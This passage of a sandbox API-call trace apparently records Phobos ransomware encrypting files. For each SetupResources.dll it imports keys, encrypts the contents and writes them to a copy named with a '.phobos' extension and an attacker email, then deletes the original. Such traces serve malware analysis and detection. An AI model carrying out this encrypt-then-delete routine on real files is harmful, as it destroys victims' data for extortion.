dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.698] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.698] WriteFile (in: hFile=0x338, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.699] CryptDestroyKey (hKey=0x10d070) returned 1 [0047.699] CloseHandle (hObject=0x304) returned 1 [0047.699] CloseHandle (hObject=0x338) returned 1 [0047.700] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0047.701] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.701] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.703] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=19288) returned 1 [0047.703] CloseHandle (hObject=0x320) returned 1 [0047.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0047.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.704] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.704] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.704] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.704] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.704] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccf0) returned 1 [0047.704] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.704] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4b58, lpOverlapped=0x0) returned 1 [0047.722] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4b60) returned 1 [0047.722] WriteFile (in: hFile=0x338, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4b60, lpOverlapped=0x0) returned 1 [0047.723] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cef0) returned 1 [0047.723] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.723] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.723] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.723] WriteFile (in: hFile=0x338, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.723] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.723] CloseHandle (hObject=0x320) returned 1 [0047.724] CloseHandle (hObject=0x338) returned 1 [0047.725] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0047.726] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.726] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.726] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18264) returned 1 [0047.726] CloseHandle (hObject=0x338) returned 1 [0047.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0047.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.726] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.726] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.727] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.727] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.731] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccf0) returned 1 [0047.731] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.731] ReadFile (in: hFile=0x338, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4758, lpOverlapped=0x0) returned 1 [0047.746] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760, dwBufLen=0x4760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4760) returned 1 [0047.746] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4760, lpOverlapped=0x0) returned 1 [0047.747] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cd30) returned 1 [0047.747] CryptSetKeyParam (hKey=0x10cd30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.747] CryptEncrypt (in: hKey=0x10cd30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.748] CryptDestroyKey (hKey=0x10cd30) returned 1 [0047.748] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.748] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.748] CloseHandle (hObject=0x338) returned 1 [0047.748] CloseHandle (hObject=0x308) returned 1 [0047.749] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0047.750] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.750] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.750] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=17752) returned 1 [0047.750] CloseHandle (hObject=0x308) returned 1 [0047.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0047.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.751] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.751] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.751] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.751] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.756] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cef0) returned 1 [0047.756] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.756] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4558, lpOverlapped=0x0) returned 1 [0047.769] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4560, dwBufLen=0x4560 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4560) returned 1 [0047.769] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4560, lpOverlapped=0x0) returned 1 [0047.770] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce70) returned 1 [0047.770] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.770] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.770] CryptDestroyKey (hKey=0x10ce70) returned 1 [0047.770] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.770] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.770] CloseHandle (hObject=0x308) returned 1 [0047.770] CloseHandle (hObject=0x324) returned 1 [0047.771] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0047.773] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.773] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.773] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=14168) returned 1 [0047.773] CloseHandle (hObject=0x324) returned 1 [0047.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0047.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.773] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.773] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.773] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.773] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.785] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ceb0) returned 1 [0047.785] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.785] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x3758, lpOverlapped=0x0) returned 1 [0047.824] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3760, dwBufLen=0x3760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3760) returned 1 [0047.824] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x3760, lpOverlapped=0x0) returned 1 [0047.826] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d170) returned 1 [0047.826] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.826] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.826] CryptDestroyKey (hKey=0x10d170) returned 1 [0047.826] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.826] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.826] CloseHandle (hObject=0x324) returned 1 [0047.826] CloseHandle (hObject=0x308) returned 1 [0047.827] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0047.828] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.828] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.828] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=14168) returned 1 [0047.828] CloseHandle (hObject=0x308) returned 1 [0047.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0047.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.829] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.829] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.829] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.829] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.832] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cf70) returned 1 [0047.832] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.832] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x3758, lpOverlapped=0x0) returned 1 [0047.837] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3760, dwBufLen=0x3760 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x3760) returned 1 [0047.837] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x3760, lpOverlapped=0x0) returned 1 [0047.838] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ceb0) returned 1 [0047.838] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.838] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.838] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.838] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.838] CryptDestroyKey (hKey=0x10cf70) returned 1 [0047.838] CloseHandle (hObject=0x308) returned 1 [0047.839] CloseHandle (hObject=0x320) returned 1 [0047.840] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0047.841] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.841] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.841] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=18776) returned 1 [0047.841] CloseHandle (hObject=0x320) returned 1 [0047.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0047.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.841] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.841] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.841] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.842] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.852] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cbb0) returned 1 [0047.852] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.852] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x4958, lpOverlapped=0x0) returned 1 [0047.865] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4960, dwBufLen=0x4960 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x4960) returned 1 [0047.865] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x4960, lpOverlapped=0x0) returned 1 [0047.866] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: 